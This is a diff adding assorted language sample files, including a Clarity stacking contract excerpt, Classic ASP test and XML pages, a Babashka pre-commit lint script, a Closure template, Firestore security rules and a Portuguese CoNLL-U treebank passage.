+;; The tokens will unlock and be returned to the Stacker (tx-sender) automatically.
+(define-public (stack-stx (amount-ustx uint)
+                          (pox-addr (tuple (version (buff 1)) (hashbytes (buff 20))))
+                          (start-burn-ht uint)
+                          (lock-period uint))
+    ;; this stacker's first reward cycle is the _next_ reward cycle
+    (let ((first-reward-cycle (+ u1 (current-pox-reward-cycle)))
+          (specified-reward-cycle (+ u1 (burn-height-to-reward-cycle start-burn-ht))))
+      ;; the start-burn-ht must result in the next reward cycle, do not allow stackers
+      ;;  to "post-date" their `stack-stx` transaction
+      (asserts! (is-eq first-reward-cycle specified-reward-cycle)
+                (err ERR_INVALID_START_BURN_HEIGHT))
+
+      ;; must be called directly by the tx-sender or by an allowed contract-caller
+      (asserts! (check-caller-allowed)
+                (err ERR_STACKING_PERMISSION_DENIED))
+
+      ;; tx-sender principal must not be stacking
+      (asserts! (is-none (get-stacker-info tx-sender))
+        (err ERR_STACKING_ALREADY_STACKED))
+
+      ;; tx-sender must not be delegating
+      (asserts! (is-none (get-check-delegation tx-sender))
+        (err ERR_STACKING_ALREADY_DELEGATED))
+
+      ;; the Stacker must have sufficient unlocked funds
+      (asserts! (>= (stx-get-balance tx-sender) amount-ustx)
+        (err ERR_STACKING_INSUFFICIENT_FUNDS))
+
+      ;; ensure that stacking can be performed
+      (try! (can-stack-stx pox-addr amount-ustx first-reward-cycle lock-period))
+
+      ;; register the PoX address with the amount stacked
+      (try! (add-pox-addr-to-reward-cycles pox-addr first-reward-cycle lock-period amount-ustx))
+
+      ;; add stacker record
+      (map-set stacking-state
+        { stacker: tx-sender }
+        { amount-ustx: amount-ustx,
+          pox-addr: pox-addr,
+          first-reward-cycle: first-reward-cycle,
+          lock-period: lock-period })
+
+      ;; return the lock-up information, so the node can actually carry out the lock.
+      (ok { stacker: tx-sender, lock-amount: amount-ustx, unlock-burn-height: (reward-cycle-to-burn-height (+ first-reward-cycle lock-period)) }))
+)
+
+(define-public (revoke-delegate-stx)
+  (begin
+    ;; must be called directly by the tx-sender or by an allowed contract-caller
+    (asserts! (check-caller-allowed)
+              (err ERR_STACKING_PERMISSION_DENIED))
+    (ok (map-delete delegation-state { stacker: tx-sender }))))
+
+;; Delegate to `delegate-to` the ability to stack from a given address.
+;;  This method _does not_ lock the funds, rather, it allows the delegate
+;;  to issue the stacking lock.
+;; The caller specifies:
+;;   * amount-ustx: the total amount of ustx the delegate may be allowed to lock
+;;   * until-burn-ht: an optional burn height at which this delegation expiration
+;;   * pox-addr: an optional address to which any rewards *must* be sent
+(define-public (delegate-stx (amount-ustx uint)
+                             (delegate-to principal)
+                             (until-burn-ht (optional uint))
+                             (pox-addr (optional { version: (buff 1),
+                                                   hashbytes: (buff 20) })))
+    (begin
+      ;; must be called directly by the tx-sender or by an allowed contract-caller
+      (asserts! (check-caller-allowed)
+                (err ERR_STACKING_PERMISSION_DENIED))
+
+      ;; tx-sender principal must not be stacking
+      (asserts! (is-none (get-stacker-info tx-sender))
+        (err ERR_STACKING_ALREADY_STACKED))
+
+      ;; tx-sender must not be delegating
+      (asserts! (is-none (get-check-delegation tx-sender))
+        (err ERR_STACKING_ALREADY_DELEGATED))
+
+      ;; add delegation record
+      (map-set delegation-state
+        { stacker: tx-sender }
+        { amount-ustx: amount-ustx,
+          delegated-to: delegate-to,
+          until-burn-ht: until-burn-ht,
+          pox-addr: pox-addr })
+
+      (ok true)))
+
+;; Commit partially stacked STX.
+;;   This allows a stacker/delegate to lock fewer STX than the minimal threshold in multiple transactions,
+;;   so long as: 1. The pox-addr is the same.
+;;               2. This "commit" transaction is called _before_ the PoX anchor block.
+;;   This ensures that each entry in the reward set returned to the stacks-node is greater than the threshold,
+;;   but does not require it be all locked up within a single transaction
+(define-public (stack-aggregation-commit (pox-addr { version: (buff 1), hashbytes: (buff 20) })
+                                         (reward-cycle uint))
+  (let ((partial-stacked
+         ;; fetch the partial commitments
+         (unwrap! (map-get? partial-stacked-by-cycle { pox-addr: pox-addr, sender: tx-sender, reward-cycle: reward-cycle })
+                  (err ERR_STACKING_NO_SUCH_PRINCIPAL))))
+    ;; must be called directly by the tx-sender or by an allowed contract-caller
+    (asserts! (check-caller-allowed)
+              (err ERR_STACKING_PERMISSION_DENIED))
+    (let ((amount-ustx (get stacked-amount partial-stacked)))
+      (try! (can-stack-stx pox-addr amount-ustx reward-cycle u1))
+      ;; add the pox addr to the reward cycle
+      (add-pox-addr-to-ith-reward-cycle
+       u0
+       { pox-addr: pox-addr,
+         first-reward-cycle: reward-cycle,
+         num-cycles: u1,
+         amount-ustx: amount-ustx,
+         i: u0 })
+      ;; don't update the stacking-state map,
+      ;;  because it _already has_ this stacker's state
+      ;; don't lock the STX, because the STX is already locked
+      ;;
+      ;; clear the partial-stacked state
+      (map-delete partial-stacked-by-cycle { pox-addr: pox-addr, sender: tx-sender, reward-cycle: reward-cycle })
+      (ok true))))
+
+;; As a delegate, stack the given principal's STX using partial-stacked-by-cycle
+;; Once the delegate has stacked > minimum, the delegate should call stack-aggregation-commit
+(define-public (delegate-stack-stx (stacker principal)
+                                   (amount-ustx uint)
+                                   (pox-addr { version: (buff 1), hashbytes: (buff 20) })
+                                   (start-burn-ht uint)
+                                   (lock-period uint))
+    ;; this stacker's first reward cycle is the _next_ reward cycle
+    (let ((first-reward-cycle (+ u1 (current-pox-reward-cycle)))
+          (specified-reward-cycle (+ u1 (burn-height-to-reward-cycle start-burn-ht)))
+          (unlock-burn-height (reward-cycle-to-burn-height (+ (current-pox-reward-cycle) u1 lock-period))))
+      ;; the start-burn-ht must result in the next reward cycle, do not allow stackers
+      ;;  to "post-date" their `stack-stx` transaction
+      (asserts! (is-eq first-reward-cycle specified-reward-cycle)
+                (err ERR_INVALID_START_BURN_HEIGHT))
+
+      ;; must be called directly by the tx-sender or by an allowed contract-caller
+      (asserts! (check-caller-allowed)
+        (err ERR_STACKING_PERMISSION_DENIED))
+
+      ;; stacker must have delegated to the caller
+      (let ((delegation-info (unwrap! (get-check-delegation stacker) (err ERR_STACKING_PERMISSION_DENIED))))
+        ;; must have delegated to tx-sender
+        (asserts! (is-eq (get delegated-to delegation-info) tx-sender)
+                  (err ERR_STACKING_PERMISSION_DENIED))
+        ;; must have delegated enough stx
+        (asserts! (>= (get amount-ustx delegation-info) amount-ustx)
+                  (err ERR_DELEGATION_TOO_MUCH_LOCKED))
+        ;; if pox-addr is set, must be equal to pox-addr
+        (asserts! (match (get pox-addr delegation-info)
+                         specified-pox-addr (is-eq pox-addr specified-pox-addr)
+                         true)
+                  (err ERR_DELEGATION_POX_ADDR_REQUIRED))
+        ;; delegation must not expire before lock period
+        (asserts! (match (get until-burn-ht delegation-info)
+                         until-burn-ht (>= until-burn-ht
+                                           unlock-burn-height)
+                      true)
+                  (err ERR_DELEGATION_EXPIRES_DURING_LOCK)))
+
+      ;; stacker principal must not be stacking
+      (asserts! (is-none (get-stacker-info stacker))
+        (err ERR_STACKING_ALREADY_STACKED))
+
+      ;; the Stacker must have sufficient unlocked funds
+      (asserts! (>= (stx-get-balance stacker) amount-ustx)
+        (err ERR_STACKING_INSUFFICIENT_FUNDS))
+
+      ;; ensure that stacking can be performed
+      (try! (minimal-can-stack-stx pox-addr amount-ustx first-reward-cycle lock-period))
+
+      ;; register the PoX address with the amount stacked via partial stacking
+      ;;   before it can be included in the reward set, this must be committed!
+      (add-pox-partial-stacked pox-addr first-reward-cycle lock-period amount-ustx)
+
+      ;; add stacker record
+      (map-set stacking-state
+        { stacker: stacker }
+        { amount-ustx: amount-ustx,
+          pox-addr: pox-addr,
+          first-reward-cycle: first-reward-cycle,
+          lock-period: lock-period })
+
+      ;; return the lock-up information, so the node can actually carry out the lock.
+      (ok { stacker: stacker,
+            lock-amount: amount-ustx,
+            unlock-burn-height: unlock-burn-height })))
+
+;; Reject Stacking for this reward cycle.
+;; tx-sender votes all its uSTX for rejection.
+;; Note that unlike PoX, rejecting PoX does not lock the tx-sender's
+;; tokens.  PoX rejection acts like a coin vote.
+(define-public (reject-pox)
+    (let (
+        (balance (stx-get-balance tx-sender))
+        (vote-reward-cycle (+ u1 (current-pox-reward-cycle)))
+    )
+
+    ;; tx-sender principal must not have rejected in this upcoming reward cycle
+    (asserts! (is-none (get-pox-rejection tx-sender vote-reward-cycle))
+        (err ERR_STACKING_ALREADY_REJECTED))
+
+    ;; tx-sender can't be a stacker
+    (asserts! (is-none (get-stacker-info tx-sender))
+        (err ERR_STACKING_ALREADY_STACKED))
+
+    ;; vote for rejection
+    (map-set stacking-rejection
+        { reward-cycle: vote-reward-cycle }
+        { amount: (+ (next-cycle-rejection-votes) balance) }
+    )
+
+    ;; mark voted
+    (map-set stacking-rejectors
+        { stacker: tx-sender, reward-cycle: vote-reward-cycle }
+        { amount: balance }
+    )
+
+    (ok true))
+)
+
+;; Used for PoX parameters discovery
+(define-read-only (get-pox-info)
+    (ok {
+        min-amount-ustx: (get-stacking-minimum),
+        reward-cycle-id: (current-pox-reward-cycle),
+        prepare-cycle-length: (var-get pox-prepare-cycle-length),
+        first-burnchain-block-height: (var-get first-burnchain-block-height),
+        reward-cycle-length: (var-get pox-reward-cycle-length),
+        rejection-fraction: (var-get pox-rejection-fraction),
+        current-rejection-votes: (next-cycle-rejection-votes),
+        total-liquid-supply-ustx: stx-liquid-supply,
+    })
+)
diff --git a/samples/Classic ASP/ASPUnitRunner.asp b/samples/Classic ASP/ASPUnitRunner.asp
new file mode 100644
index 0000000000..f115a3d822
--- /dev/null
+++ b/samples/Classic ASP/ASPUnitRunner.asp	
@@ -0,0 +1,80 @@
+<% Option Explicit %>
+
+<!-- #include file="../Lib/ASPUnit.asp" -->
+
+<%
+	Dim objLifecycle
+	Set objLifecycle = ASPUnit.CreateLifeCycle("Setup", "Teardown")
+
+	Call ASPUnit.AddModule( _
+		ASPUnit.CreateModule( _
+			"ASPUnitRunner AddPage Tests", _
+			Array( _
+				ASPUnit.CreateTest("ASPUnitRunnerAddPage"), _
+				ASPUnit.CreateTest("ASPUnitRunnerAddPages") _
+			), _
+			objLifecycle _
+		) _
+	)
+
+	Call ASPUnit.AddModule( _
+		ASPUnit.CreateModule( _
+			"ASPUnitRunner Run Tests", _
+			Array( _
+				ASPUnit.CreateTest("ASPUnitRunnerRunAddsCurrentPage"), _
+				ASPUnit.CreateTest("ASPUnitRunnerPassesToRenderer") _
+			), _
+			objLifecycle _
+		) _
+	)
+
+	Call ASPUnit.Run()
+
+	' Create a global instance of ASPUnitRunner for testing
+
+	Sub Setup()
+		Call ExecuteGlobal("Dim objService")
+		Set objService = New ASPUnitRunner
+	End Sub
+
+	Sub Teardown()
+		Set objService = Nothing
+	End Sub
+
+	' Create a mock theme service that sets a global variable to indicate Render method executed
+
+	Class ASPUnitUIRendererMockTheme
+		Public Sub Render(objValue)
+			Call ExecuteGlobal("Dim blnRendererRan")
+			blnRendererRan = True
+		End Sub
+	End Class
+
+	' Test that ASPUnitRunner adds specified pages
+
+	Sub ASPUnitRunnerAddPage()
+		Call objService.AddPage(Nothing)
+		Call ASPUnit.Equal(objService.Pages.Count, 1, "AddPage method should add page to collection")
+	End Sub
+
+	Sub ASPUnitRunnerAddPages()
+		Call objService.AddPages(Array(Nothing, Nothing))
+		Call ASPUnit.Equal(objService.Pages.Count, 2, "AddPages method should add pages to collection")
+	End Sub
+
+	' Test that ASPUnitRunner adds current page if no pages are specified
+
+	Sub ASPUnitRunnerRunAddsCurrentPage()
+		Set objService.Theme = New ASPUnitUIRendererMockTheme
+		Call objService.Run()
+		Call ASPUnit.Equal(objService.Pages.Count, 1, "Run method should add current page if no pages are specified")
+	End Sub
+
+	' Test that ASPUnitRunner implments renderer on Run
+
+	Sub ASPUnitRunnerPassesToRenderer()
+		Set objService.Theme = New ASPUnitUIRendererMockTheme
+		Call objService.Run()
+		Call ASPUnit.Equal(blnRendererRan, True, "Run method should execute renderer render method")
+	End Sub
+%>
\ No newline at end of file
diff --git a/samples/Classic ASP/sendingcontent-xml.asp b/samples/Classic ASP/sendingcontent-xml.asp
new file mode 100644
index 0000000000..fc2fb852d8
--- /dev/null
+++ b/samples/Classic ASP/sendingcontent-xml.asp	
@@ -0,0 +1,24 @@
+<%
+  ' to set content type we can use Response.ContentType 
+  ' sample XML taken from http://json.org/example.html
+  Response.ContentType = "text/xml"
+%>
+<!DOCTYPE glossary PUBLIC "-//OASIS//DTD DocBook V3.1//EN">
+ <glossary><title>example glossary</title>
+  <GlossDiv><title>S</title>
+   <GlossList>
+    <GlossEntry ID="SGML" SortAs="SGML">
+     <GlossTerm>Standard Generalized Markup Language</GlossTerm>
+     <Acronym>SGML</Acronym>
+     <Abbrev>ISO 8879:1986</Abbrev>
+     <GlossDef>
+      <para>A meta-markup language, used to create markup
+languages such as DocBook.</para>
+      <GlossSeeAlso OtherTerm="GML">
+      <GlossSeeAlso OtherTerm="XML">
+     </GlossDef>
+     <GlossSee OtherTerm="markup">
+    </GlossEntry>
+   </GlossList>
+  </GlossDiv>
+ </glossary>
diff --git a/samples/Clojure/validate-and-format.bb b/samples/Clojure/validate-and-format.bb
new file mode 100644
index 0000000000..05a5d746e0
--- /dev/null
+++ b/samples/Clojure/validate-and-format.bb
@@ -0,0 +1,45 @@
+#!/usr/bin/env bb
+
+(def filter-regex "\\.(clj\\|cljs\\|cljc)$")
+
+(defn clojure-source? [path]
+  (re-find #"\.(clj|cljs|cljc)$" path))
+
+(defn modified-files []
+  (-> (shell/sh "git" "diff" "--cached" "--name-only" "--diff-filter=ACMR")
+      :out
+      (str/split #"\n")))
+
+(defn lint-valid? [paths]
+  (apply shell/sh "clj-kondo" "--lint" paths))
+
+(defn native-cljstyle? []
+  (-> (shell/sh "which" "cljstyle") :exit zero?))
+
+(defn format-files [paths]
+  (if (native-cljstyle?)
+    (do
+      (println "Using native cljstyle...")
+      (apply shell/sh "cljstyle" "fix" paths))
+    (do
+      (println "Using cljstyle from clojure deps...")
+      (apply shell/sh "clojure" "-A:format" "fix" paths))))
+
+(defn update-file-index
+  "Add unstaged modifications to git, so they get to be part of the current commit."
+  [path]
+  (let [hash (:out (shell/sh "git" "hash-object" "-w" path))]
+    (shell/sh "git" "update-index" "--add" "--cacheinfo" "100644" hash path)))
+
+(let [paths (->> (modified-files)
+                 (filter clojure-source?))]
+  (when (seq paths)
+    (format-files paths)
+
+    (doseq [path paths]
+      (update-file-index path))
+
+    (let [{:keys [exit out]} (lint-valid? paths)]
+      (when-not (= 0 exit)
+        (println "Lint failed.\n" out)
+        (System/exit 1)))))
diff --git a/samples/Closure Templates/example.soy b/samples/Closure Templates/example.soy
new file mode 100644
index 0000000000..2976eaa8b7
--- /dev/null
+++ b/samples/Closure Templates/example.soy	
@@ -0,0 +1,24 @@
+{namespace Exmaple}
+
+/**
+ * Example
+ */
+{template .foo}
+  {@param count: string}
+  {@param? name: int}
+
+  {if isNonnull($name)}
+    <h1>{$name}</h1>
+  {/if}
+
+  <div class="content">
+    {switch count}
+      {case 0}
+        {call Empty.view}
+          {param count: $count /}
+        {/call}
+      {default}
+        <h2>Wow, so many!</h2>
+    {/switch}
+  </div>
+{/template}
diff --git a/samples/Cloud Firestore Security Rules/filenames/firestore.rules b/samples/Cloud Firestore Security Rules/filenames/firestore.rules
new file mode 100644
index 0000000000..881aae75d9
--- /dev/null
+++ b/samples/Cloud Firestore Security Rules/filenames/firestore.rules	
@@ -0,0 +1,106 @@
+service cloud.firestore {
+  match /databases/{database}/documents {
+    match /activities/{activity} {
+
+      allow create: if isSignedIn()
+                    && isOwner(incomingData().authorId)
+                    && isValidActivity(incomingData())
+                    && hasAllowedActivityFieldsForCreate(incomingData());
+
+      allow read, delete: if isSignedIn()
+                          && isOwner(existingData().authorId);
+
+      allow update: if isSignedIn()
+                    && isOwner(existingData().authorId)
+                    && isValidActivity(incomingData())
+                    && hasAllowedActivityFieldsForUpdate(incomingData());
+
+    }
+    match /skills/{skill} {
+
+      allow create: if isSignedIn()
+                    && isOwner(incomingData().authorId)
+                    && isValidSkill(incomingData())
+                    && hasAllowedSkillFieldsForCreate(incomingData());
+
+      allow read, delete: if isSignedIn()
+                          && isOwner(existingData().authorId);
+
+      allow update: if isSignedIn()
+                    && isOwner(existingData().authorId)
+                    && isValidSkill(incomingData())
+                    && hasAllowedSkillFieldsForUpdate(incomingData());
+
+    }
+    match /activities-skills/{activitySkill} {
+
+      allow create: if isSignedIn()
+                    && isOwner(incomingData().authorId)
+                    && isValidActivitySkill(incomingData())
+                    && hasAllowedActivitySkillFieldsForCreate(incomingData());
+
+      allow read, delete: if isSignedIn()
+                          && isOwner(existingData().authorId);
+
+      allow update: if isSignedIn()
+                    && isOwner(existingData().authorId)
+                    && isValidActivitySkill(incomingData())
+                    && hasAllowedActivitySkillFieldsForUpdate(incomingData());
+
+    }
+     /// Functions ///
+    function isSignedIn() {
+      return request.auth != null;
+    }
+    function isOwner(userId) {
+      return request.auth.uid == userId;
+    }
+    function existingData() {
+      return resource.data;
+    }
+    function incomingData() {
+      return request.resource.data;
+    }
+    function isValidActivity(activity) {
+      return activity.title is string
+      	&& activity.title.size() > 3
+        && activity.title.size() < 250
+        && activity.summary is string
+        && (activity.audienceCountMin is int || activity.audienceCountMin == null)
+        && (activity.audienceCountMax is int || activity.audienceCountMax == null)
+        && (activity.audienceAgeMin is int || activity.audienceAgeMin == null)
+        && (activity.audienceAgeMax is int || activity.audienceAgeMax == null)
+        && activity.lastUpdateDate.date() is timestamp;
+    }
+    function hasAllowedActivityFieldsForUpdate(activity) {
+      return activity.keys().size() == 9 && activity.keys().hasAll(['authorId', 'title', 'summary', 'audienceCountMin', 'audienceCountMax', 'audienceAgeMin', 'audienceAgeMax', 'lastUpdateDate']);
+    }
+    function hasAllowedActivityFieldsForCreate(activity) {
+      return activity.keys().size() == 8 && activity.keys().hasAll(['authorId', 'title', 'summary', 'audienceCountMin', 'audienceCountMax', 'audienceAgeMin', 'audienceAgeMax', 'lastUpdateDate']);
+    }
+
+    function isValidSkill(skill) {
+      return skill.title is string
+        && skill.title.size() > 3
+        && skill.title.size() < 250
+        && skill.summary is string
+        && skill.lastUpdateDate.date() is timestamp;
+    }
+    function hasAllowedSkillFieldsForUpdate(skill) {
+      return skill.keys().size() == 5 && skill.keys().hasAll(['authorId', 'title', 'summary', 'lastUpdateDate']);
+    }
+    function hasAllowedSkillFieldsForCreate(skill) {
+      return skill.keys().size() == 4 && skill.keys().hasAll(['authorId', 'title', 'summary', 'lastUpdateDate']);
+    }
+    function isValidActivitySkill(activitySkill) {
+      return activitySkill.skillId is string
+        && activitySkill.activityId is string;
+    }
+    function hasAllowedActivitySkillFieldsForUpdate(activitySkill) {
+      return activitySkill.keys().size() == 4 && activitySkill.keys().hasAll(['authorId', 'skillId', 'activityId']);
+    }
+    function hasAllowedActivitySkillFieldsForCreate(activitySkill) {
+      return activitySkill.keys().size() == 3 && activitySkill.keys().hasAll(['authorId', 'skillId', 'activityId']);
+    }
+  }
+}
diff --git a/samples/CoNLL-U/CF1.conllu b/samples/CoNLL-U/CF1.conllu
new file mode 100644
index 0000000000..3d9f0f0276
--- /dev/null
+++ b/samples/CoNLL-U/CF1.conllu
@@ -0,0 +1,159 @@
+# text = PT no governo
+# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a
+# sent_id = CF1-1
+# id = 1
+1	PT	PT	PROPN	PROP|M|S|@NPHR	Gender=Masc|Number=Sing	0	root	_	_
+2-3	no	_	_	_	_	_	_	_	_
+2	em	em	ADP	<sam->|PRP|@N<	_	4	case	_	_
+3	o	o	DET	<-sam>|<artd>|ART|M|S|@>N	Definite=Def|Gender=Masc|Number=Sing|PronType=Art	4	det	_	_
+4	governo	governo	NOUN	<np-def>|N|M|S|@P<	Gender=Masc|Number=Sing	1	nmod	_	_
+
+# text = BRASÍLIA Pesquisa Datafolha publicada hoje revela um dado supreendente: recusando uma postura radical, a esmagadora maioria (77%) dos eleitores quer o PT participando do Governo Fernando Henrique Cardoso.
+# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a &W
+# sent_id = CF1-3
+# id = 2
+1	BRASÍLIA	Brasília	PROPN	PROP|F|S|@ADVL>	Gender=Fem|Number=Sing	6	dep	_	_
+2	Pesquisa	Pesquisa	PROPN	_	Gender=Fem|Number=Sing	6	nsubj	_	ChangedBy=Issue119|MWE=Pesquisa_Datafolha|MWEPOS=PROPN
+3	Datafolha	Datafolha	PROPN	_	Number=Sing	2	flat:name	_	ChangedBy=Issue119
+4	publicada	publicar	VERB	<mv>|V|PCP|F|S|@ICL-N<	Gender=Fem|Number=Sing|VerbForm=Part	2	acl	_	_
+5	hoje	hoje	ADV	ADV|@<ADVL	_	4	advmod	_	_
+6	revela	revelar	VERB	<mv>|V|PR|3S|IND|@FS-STA	Mood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin	0	root	_	_
+7	um	um	DET	<arti>|ART|M|S|@>N	Definite=Ind|Gender=Masc|Number=Sing|PronType=Art	8	det	_	_
+8	dado	dado	NOUN	<np-idf>|N|M|S|@<ACC	Gender=Masc|Number=Sing	6	obj	_	_
+9	supreendente	surpreendente	ADJ	ADJ|M|S|@N<	Gender=Masc|Number=Sing	8	amod	_	ChangedBy=Issue165|SpaceAfter=No
+10	:	:	PUNCT	PU|@PU	_	26	punct	_	_
+11	recusando	recusar	VERB	<mv>|V|GER|@ICL-ADVL>	VerbForm=Ger	26	advcl	_	_
+12	uma	um	DET	<arti>|ART|F|S|@>N	Definite=Ind|Gender=Fem|Number=Sing|PronType=Art	13	det	_	_
+13	postura	postura	NOUN	<np-idf>|N|F|S|@<ACC	Gender=Fem|Number=Sing	11	obj	_	_
+14	radical	radical	ADJ	ADJ|F|S|@N<	Gender=Fem|Number=Sing	13	amod	_	ChangedBy=Issue165|SpaceAfter=No
+15	,	,	PUNCT	PU|@PU	_	26	punct	_	_
+16	a	o	DET	<artd>|ART|F|S|@>N	Definite=Def|Gender=Fem|Number=Sing|PronType=Art	18	det	_	_
+17	esmagadora	esmagador	ADJ	ADJ|F|S|@>N	Gender=Fem|Number=Sing	18	amod	_	_
+18	maioria	maioria	NOUN	<np-def>|N|F|S|@SUBJ>	Gender=Fem|Number=Sing	26	nsubj	_	_
+19	(	(	PUNCT	PU|@PU	_	21	punct	_	ChangedBy=Issue165|SpaceAfter=No
+20	77	77	NUM	<card>|NUM|M|P|@>N	NumType=Card	21	nummod	_	ChangedBy=Issue165|ChangedBy=Issue168|SpaceAfter=No
+21	%	%	SYM	<np-def>|N|M|P|@N<PRED	Gender=Masc|Number=Plur	18	appos	_	ChangedBy=Issue165|SpaceAfter=No
+22	)	)	PUNCT	PU|@PU	_	21	punct	_	_
+23-24	dos	_	_	_	_	_	_	_	_
+23	de	de	ADP	<sam->|PRP|@N<	_	25	case	_	_
+24	os	o	DET	<-sam>|<artd>|ART|M|P|@>N	Definite=Def|Gender=Masc|Number=Plur|PronType=Art	25	det	_	_
+25	eleitores	eleitor	NOUN	<np-def>|N|M|P|@P<	Gender=Masc|Number=Plur	18	nmod	_	_
+26	quer	querer	VERB	<mv>|V|PR|3S|IND|@FS-N<PRED	Mood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin	8	acl:relcl	_	_
+27	o	o	DET	<artd>|ART|M|S|@>N	Definite=Def|Gender=Masc|Number=Sing|PronType=Art	28	det	_	_
+28	PT	PT	PROPN	PROP|M|S|@<ACC	Gender=Masc|Number=Sing	26	obj	_	_
+29	participando	participar	VERB	<mv>|V|GER|@ICL-<OC	VerbForm=Ger	26	xcomp	_	_
+30-31	do	_	_	_	_	_	_	_	_
+30	de	de	ADP	<sam->|PRP|@<PIV	_	32	case	_	_
+31	o	o	DET	<-sam>|<artd>|ART|M|S|@>N	Definite=Def|Gender=Masc|Number=Sing|PronType=Art	32	det	_	_
+32	Governo	governo	NOUN	<prop>|<np-def>|N|M|S|@P<	Gender=Masc|Number=Sing	29	obl	_	_
+33	Fernando	Fernando	PROPN	_	Gender=Masc|Number=Sing	32	nmod	_	ChangedBy=Issue119|MWE=Fernando_Henrique_Cardoso|MWEPOS=PROPN
+34	Henrique	Henrique	PROPN	_	Number=Sing	33	flat:name	_	ChangedBy=Issue119
+35	Cardoso	Cardoso	PROPN	_	Number=Sing	33	flat:name	_	SpaceAfter=No
+36	.	.	PUNCT	PU|@PU	_	6	punct	_	_
+
+# text = Tem sentido -- aliás, muitíssimo sentido.
+# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a &D
+# sent_id = CF1-4
+# id = 3
+1	Tem	ter	VERB	<mv>|V|PR|3S|IND|@FS-STA	Mood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin	0	root	_	_
+2	sentido	sentido	NOUN	<np-idf>|N|M|S|@<ACC	Gender=Masc|Number=Sing	1	obj	_	_
+3	--	--	PUNCT	PU|@PU	_	1	punct	_	_
+4	aliás	aliás	ADV	<kc>|ADV|@<ADVL	_	1	advmod	_	ChangedBy=Issue165|SpaceAfter=No
+5	,	,	PUNCT	PU|@PU	_	7	punct	_	_
+6	muitíssimo	muitíssimo	DET	<quant>|<SUP>|DET|M|S|@>N	Gender=Masc|Number=Sing|PronType=Ind	7	det	_	_
+7	sentido	sentido	NOUN	<np-idf>|N|M|S|@N<PRED	Gender=Masc|Number=Sing	2	appos	_	ChangedBy=Issue165|SpaceAfter=No
+8	.	.	PUNCT	PU|@PU	_	1	punct	_	_
+
+# text = Muito mais do que nos tempos na ditadura, a solidez do PT está, agora, ameaçada.
+# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a
+# sent_id = CF1-5
+# id = 4
+1	Muito	muito	ADV	<quant>|ADV|@>A	_	2	advmod	_	_
+2	mais	mais	ADV	<quant>|<KOMP>|<COMP>|ADV|@ADVL>	_	22	advmod	_	_
+3-4	do	_	_	_	_	_	_	_	_
+3	de	de	ADP	<sam->|PRP|@COM	_	8	case	_	_
+4	o	o	PRON	<dem>|<-sam>|DET|M|S|@P<	Gender=Masc|Number=Sing|PronType=Dem	3	fixed	_	_
+5	que	que	PRON	<rel>|INDP|M|S|@N<	Gender=Masc|Number=Sing|PronType=Rel	3	fixed	_	_
+6-7	nos	_	_	_	_	_	_	_	_
+6	em	em	ADP	<sam->|<first-cjt>|PRP|@KOMP<	_	8	case	_	_
+7	os	o	DET	<-sam>|<artd>|ART|M|P|@>N	Definite=Def|Gender=Masc|Number=Plur|PronType=Art	8	det	_	_
+8	tempos	tempo	NOUN	<first-cjt>|<np-def>|N|M|P|@P<	Gender=Masc|Number=Plur	2	obl	_	_
+9-10	na	_	_	_	_	_	_	_	_
+9	em	em	ADP	<sam->|PRP|@N<	_	11	case	_	_
+10	a	o	DET	<-sam>|<artd>|ART|F|S|@>N	Definite=Def|Gender=Fem|Number=Sing|PronType=Art	11	det	_	_
+11	ditadura	ditadura	NOUN	<np-def>|N|F|S|@P<	Gender=Fem|Number=Sing	8	nmod	_	ChangedBy=Issue165|SpaceAfter=No
+12	,	,	PUNCT	PU|@PU	_	2	punct	_	_
+13	a	o	DET	<artd>|ART|F|S|@>N	Definite=Def|Gender=Fem|Number=Sing|PronType=Art	14	det	_	_
+14	solidez	solidez	NOUN	<np-def>|N|F|S|@SUBJ>	Gender=Fem|Number=Sing	22	nsubj	_	_
+15-16	do	_	_	_	_	_	_	_	_
+15	de	de	ADP	<sam->|PRP|@N<	_	17	case	_	_
+16	o	o	DET	<-sam>|<artd>|ART|M|S|@>N	Definite=Def|Gender=Masc|Number=Sing|PronType=Art	17	det	_	_
+17	PT	PT	PROPN	PROP|M|S|@P<	Gender=Masc|Number=Sing	14	nmod	_	_
+18	está	estar	AUX	<mv>|V|PR|3S|IND|@FS-STA	Mood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin	22	cop	_	ChangedBy=Issue165|ChangedBy=Issue167|SpaceAfter=No
+19	,	,	PUNCT	PU|@PU	_	20	punct	_	_
+20	agora	agora	ADV	<kc>|ADV|@<ADVL	_	22	advmod	_	ChangedBy=Issue165|SpaceAfter=No
+21	,	,	PUNCT	PU|@PU	_	20	punct	_	_
+22	ameaçada	ameaçar	VERB	<mv>|V|PCP|F|S|@ICL-<SC	Gender=Fem|Number=Sing|VerbForm=Part	0	root	_	ChangedBy=Issue165|SpaceAfter=No
+23	.	.	PUNCT	PU|@PU	_	22	punct	_	_
+
+# text = Nem Lula nem o partido ainda encontraram um discurso para se diferenciar.
+# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a
+# sent_id = CF1-6
+# id = 5
+1	Nem	nem	CCONJ	<parkc-1>|KC|@CO	_	2	cc	_	_
+2	Lula	Lula	PROPN	<first-cjt>|PROP|M|S|@SUBJ>	Gender=Masc|Number=Sing	7	nsubj	_	_
+3	nem	nem	CCONJ	<co-subj>|<parkc-2>|KC|@CO	_	5	cc	_	_
+4	o	o	DET	<artd>|ART|M|S|@>N	Definite=Def|Gender=Masc|Number=Sing|PronType=Art	5	det	_	_
+5	partido	partido	NOUN	<cjt>|<np-def>|N|M|S|@SUBJ>	Gender=Masc|Number=Sing	2	conj	_	_
+6	ainda	ainda	ADV	ADV|@ADVL>	_	7	advmod	_	_
+7	encontraram	encontrar	VERB	<mv>|V|PS/MQP|3P|IND|@FS-STA	Mood=Ind|Number=Plur|Person=3|VerbForm=Fin	0	root	_	_
+8	um	um	DET	_	Definite=Ind|Gender=Masc|Number=Sing|PronType=Art	9	det	_	_
+9	discurso	discurso	NOUN	<np-idf>|N|M|S|@<ACC	Gender=Masc|Number=Sing	7	obj	_	_
+10	para	para	ADP	_	_	12	case	_	_
+11	se	se	PRON	PERS|M|3S|ACC|@ACC>-PASS	Case=Acc|Gender=Masc|Number=Sing|Person=3|PronType=Prs	12	expl	_	ChangedBy=Issue135
